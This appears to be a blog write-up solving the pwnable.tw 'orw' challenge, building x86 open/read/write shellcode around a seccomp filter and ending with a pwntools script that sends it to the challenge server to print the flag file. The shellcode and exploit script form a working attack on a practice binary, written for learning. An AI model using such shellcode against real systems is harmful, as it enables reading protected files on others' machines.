[HOME]

Pwnable.tw: orw

Let’s have a quick and succinct write-up for orw - a challenge at pwnable.tw.

Footprinting

Initially, we want to check the file for any notable properties (PIE, Canary, RELRO, etc.).

Based on the output above, there are no protection bits enabled within the binary (except for canary but it does not interfere with our payload afterwards) and therefore it is presumably believed to be quite simple as expected for a 100pts challenge.

For now, we shall have a look into the disassembly code of orw:

What the program does is rather straightforward, as it:

  • calls orw_seccomp which basically allows only SYS_open, SYS_read and SYS_write to be executed thus limited our capability of calling low hanging fruit syscalls like execve, system or such
  • reads input from STDIN (SYS_read with 200 bytes limit) and executes whatever it is as shellcode

That being said, the author simply asks us to practice writing assembly and interacting with given syscalls.

Solution

According to what we have discussed, our shellcode needs to call SYS_open to open the flag at /home/orw/flag, then reads the content therein with SYS_read and finally pipe it to STDOUT using SYS_write. Keep in mind that syscalls have their own dedicated ID, herein 0x5, 0x3, 0x4 for open, read and write, respectively.

You can read more about Linux syscalls and their respective assembly here.

To call a syscall, simply push its ID into EAX then ask INT to execute it.

mov eax, 0x1	; 0x1 - SYS_exit
int 0x80		; call it

SYS_open - 0x5

int open(const char *pathname, int flags, mode_t mode);

As demonstrated in the table and the syntax listed, SYS_open takes ebx as its filename, ecx as open access mode and edx as file permission. We thus need:

  • EBX holds the value of /home/orw/flag
  • ECX could be 0 (O_RDONLY flag)
  • EDX is not necessary since it is a optional argument, we should leave it as 0

Our shellcode for this syscall shall as follows:

push 0x6761		; ag
push 0x6c662f77 ; w/fl
push 0x726f2f65	; e/or
push 0x6d6f682f	; /hom
mov ebx, esp	; ESP now has the path /home/orw/flag
xor ecx, ecx	; O_RDONLY
xor edx, edx	; NULL
mov eax, 0x5 	; SYS_open(ebp, ecx, edx)
int 0x80

Note: It is not feasible to push the whole string /home/orw/flag but a 8-byte value onto the stack at once since the program is speaking x32 and that is the reason why we have to divide the string into four separate parts. Follow this link for more information about PUSH instruction.

You can convert the string in reverse using this recipe in CyberChef:

SYS_read - 0x3

ssize_t read(int fd, void *buf, size_t count);

Follows the table and read’s syntax:

  • EBX is now our file handle returned from SYS_open and stored in EAX
  • ECX holds the buffer for the flag, it could point to any string register dubbed ESI, EDI or even ESP
  • EDX is the maximum bytes our buffer shall have, 0x50 should be enough for the flag

And we have the shellcode for SYS_read:

; ...
mov ebx, eax	; eax has the handle of our file
mov ecx, esp	; ecx now points to esp and uses it as the buffer
mov edx, 0x50	; ... of 0x50 bytes in size
mov eax, 0x3	; SYS_read(ebx, ecx, edx)
int 0x80			

SYS_write - 0x4

ssize_t write(int fd, const void *buf, size_t count);

Same with those two above, we adhere to the table and its syntax:

  • EBX is file descriptor which indicates where the program would write and the register’s value should be 1 - pipe directly to STDOUT
  • ECX needs to point to our flag and it is currently in ESP so we shall have it as that
  • EDX is the number of bytes to be written which returned from SYS_read, therefore it should be EDX -> EAX

Our shellcode:

; ...
mov edx, eax	; byte_written = eax
mov ebx, 0x1	; stdout
mov ecx, esp	; flag's buffer
mov eax, 0x4	; SYS_write
int 0x80

Solve.py

In this final step, gather them all in one place - solve.py:

#!/usr/bin/env python3
from pwn import *

elf = context.binary = ELF('./orw')
#p = process([elf.path])
p = remote('chall.pwnable.tw', 10001)

payload = asm(
    '''
        push 0x6761
        push 0x6c662f77
        push 0x726f2f65
        push 0x6d6f682f
        mov ebx, esp
        xor ecx, ecx
        xor edx, edx
        mov eax, 0x5
        int 0x80

        mov ebx, eax
        mov ecx, esp
        mov edx, 0x50
        mov eax, 0x3
        int 0x80

        mov ecx, esp
        mov edx, eax
        mov ebx, 0x1
        mov eax, 0x4
        int 0x80

        push 0x1
        pop eax
        int 0x80
    '''
)

print(f'Payload size: {len(payload)}')  # just to make sure our payload won't exceed 200 bytes limit
p.sendline(payload)
p.interactive()

The script shows that our payload has the size of 70 bytes and we have the flag subsequently. It is still worth mentioning that we can reduce the size of the payload by replacing mov with push; pop instruction since the latter two only consist of 3 bytes in total whereas mov is of 5-bytes itself.